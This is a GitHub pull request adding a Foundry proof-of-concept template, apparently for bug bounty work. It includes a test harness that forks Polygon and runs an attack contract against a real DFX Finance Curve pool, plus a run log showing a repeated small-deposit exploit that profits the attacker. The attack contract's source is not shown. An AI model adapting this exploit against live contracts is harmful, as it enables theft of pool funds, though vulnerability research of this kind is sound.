Feat/poc template

[janbro]

Vulnerability Type

Template for PoC's. Includes balance pretty print helper and snapshotting attacker funds.

Usage

forge-poc-templates/test/pocs/DFXFinanceBugfixReview.t.sol

Lines 1 to 34 in 24a659d

	// SPDX-License-Identifier: UNLICENSED
	pragma solidity ^0.8.13;
	import "forge-std/Test.sol";
	import "../../pocs/DFXFinanceBugfixReview.sol";
	import "../../src/PoC.sol";
	contract DFXFinanceBugfixReviewTest is PoC {
	DFXFinanceBugfixReview attackContract;
	IERC20[] tokens;
	ICurve constant curve_pool = ICurve(0x2385D7aB31F5a470B1723675846cb074988531da);
	IERC20 EURS = IERC20(0xE111178A87A3BFf0c8d18DECBa5798827539Ae99);
	function setUp() public {
	vm.createSelectFork("https://rpc.ankr.com/polygon", 42064500);
	attackContract = new DFXFinanceBugfixReview();
	tokens.push(PolygonTokens.USDC);
	tokens.push(EURS);
	// Deal tokens to attacker
	deal(PolygonTokens.USDC, address(attackContract), 100 * 1e6);
	deal(EURS, address(attackContract), 100 * 1e2);
	setAlias(address(curve_pool), "curve_pool");
	setAlias(address(attackContract), "Attacker");
	console.log("\n>>> Initial conditions");
	}
	function testAttack() public snapshot(address(attackContract), tokens) snapshot(address(curve_pool), tokens) {
	attackContract.initiateAttack();
	}
	}

PR Checklist

• Attack Template
• Attack Example
• Test
• Readme Updated

[arbaz-immunefi]

LGTM, Looks neat!

$ forge test -vv --match-path test/pocs/DFXFinanceBugfixReview.t.sol
[⠔] Compiling...
[⠒] Compiling 1 files with 0.8.20
[⠘] Solc 0.8.20 finished in 1.08s
Compiler run successful with warnings:
Warning (2018): Function state mutability can be restricted to view
  --> pocs/DFXFinanceBugfixReview.sol:62:5:
   |
62 |     function _completeAttack() internal {
   |     ^ (Relevant source part starts here and spans across multiple lines).


Running 1 test for test/pocs/DFXFinanceBugfixReview.t.sol:DFXFinanceBugfixReviewTest
[PASS] testAttack() (gas: 697880115)
Logs:

>>> Initial conditions
  --- USDC balance of [Attacker]:	100.0 ---
  --- EURS balance of [Attacker]:	100.0 ---

  --- USDC balance of [curve_pool]:	76326.348131 ---
  --- EURS balance of [curve_pool]:	146197.23 ---


>>> Execute attack
  Deposit small amount to curve pool 10,000 times
  --- USDC balance of [Attacker]:	9.990000 ---
  --- EURS balance of [Attacker]:	100.0 ---

  Withdraw curve pool LP tokens
  --- dfx-eurs-v2 balance of [Attacker]:	276.599840019906329078 ---


>>> Complete attack
  --- USDC balance of [curve_pool]:	76326.341599 ---
  --- EURS balance of [curve_pool]:	146025.2 ---

  ~~~ Profit for [curve_pool]
  -----------------------------------------------------------------------------------------
               Token address                    |       Symbol  |       Profit
  -----------------------------------------------------------------------------------------
  0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174	|	USDC	|	-0.6532
  0xE111178A87A3BFf0c8d18DECBa5798827539Ae99	|	EURS	|	-172.21

  --- USDC balance of [Attacker]:	100.6532 ---
  --- EURS balance of [Attacker]:	272.21 ---

  ~~~ Profit for [Attacker]
  -----------------------------------------------------------------------------------------
               Token address                    |       Symbol  |       Profit
  -----------------------------------------------------------------------------------------
  0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174	|	USDC	|	0.6532
  0xE111178A87A3BFf0c8d18DECBa5798827539Ae99	|	EURS	|	172.21


Test result: ok. 1 passed; 0 failed; finished in 10.50s